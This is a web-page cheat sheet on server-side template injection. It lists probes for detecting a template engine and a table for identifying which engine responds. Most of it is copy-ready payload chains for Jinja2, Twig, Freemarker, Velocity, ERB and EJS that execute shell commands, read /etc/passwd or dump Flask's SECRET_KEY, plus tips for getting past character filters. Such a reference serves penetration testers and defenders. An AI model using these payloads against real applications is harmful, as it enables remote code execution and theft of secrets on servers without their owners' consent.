Template injection
classInput reaching a template engine as template source rather than as data. Usually ends in code execution.
01Detect
One payload tells you whether you're in a template at all.
POLYGLOT PROBE7
${7*7}
COPY{{7*7}}
COPY<%= 7*7 %>
COPY#{7*7}
COPY${{7*7}}
COPY{{7*'7'}}
COPY${7*7}{{7*7}}<%=7*7%>${{7*7}}#{7*7}Fire all of them at once. Whatever comes back tells you which engine you're facing.
COPYREADING THE RESULT
49 from {{7*7}} | Jinja2, Twig, or another curly-brace engine |
49 from ${7*7} | Freemarker, Velocity, or a JS template literal |
49 from <%= 7*7 %> | ERB or EJS |
7777777 from {{7*'7'}} | Jinja2 — Python repeats the string |
49 from {{7*'7'}} | Twig — PHP coerces to a number |
| Nothing, but no error | It's data, not a template. Move on. |
The {{7*'7'}} distinction between Jinja2 and Twig is worth memorising — it's the difference between a Python and a PHP payload chain, and everything after this point depends on it.
02Jinja2 (Python)
JINJA28
{{config}}Dumps the Flask config, which often has SECRET_KEY in it.
COPY{{config.items()}}
COPY{{self.__init__.__globals__.__builtins__.import('os').popen('id').read()}}
COPY{{cycler.__init__.__globals__.os.popen('id').read()}}Shorter chain, no
COPY__builtins__. Usually the one that works.{{joiner.__init__.__globals__.os.popen('id').read()}}
COPY{{namespace.__init__.__globals__.os.popen('id').read()}}
COPY{{lipsum.__globals__.os.popen('id').read()}}The shortest reliable one. Try it first.
COPY{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
COPYWhen . is filtered, use [] — {{lipsum['__globals__']['os']}}. When _ is filtered, use \x5f. When both are, you're into the __class__.__mro__ chain and it's a long evening.
03Twig (PHP)
TWIG5
{{_self}}
COPY{{dump(app)}}
COPY{{['id']|filter('system')}}
COPY{{['id']|map('system')}}
COPY{{app.request.query.filter(0,0,1024,{'options':'system'})}}
COPY04Freemarker and Velocity (Java)
FREEMARKER2
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
COPY${"freemarker.template.utility.Execute"?new()("id")}
COPYVELOCITY1
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
COPY05ERB and EJS
ERB (RUBY)4
<%= 7*7 %>
COPY<%= system("id") %>
COPY<%= `id` %>
COPY<%= File.open('/etc/passwd').read %>
COPYEJS (NODE)2
<%= 7*7 %>
COPY<%= global.process.mainModule.require('child_process').execSync('id') %>
COPYNode template engines vary wildly in what's in scope. If global isn't there, try process, then require directly — one of the three is usually reachable.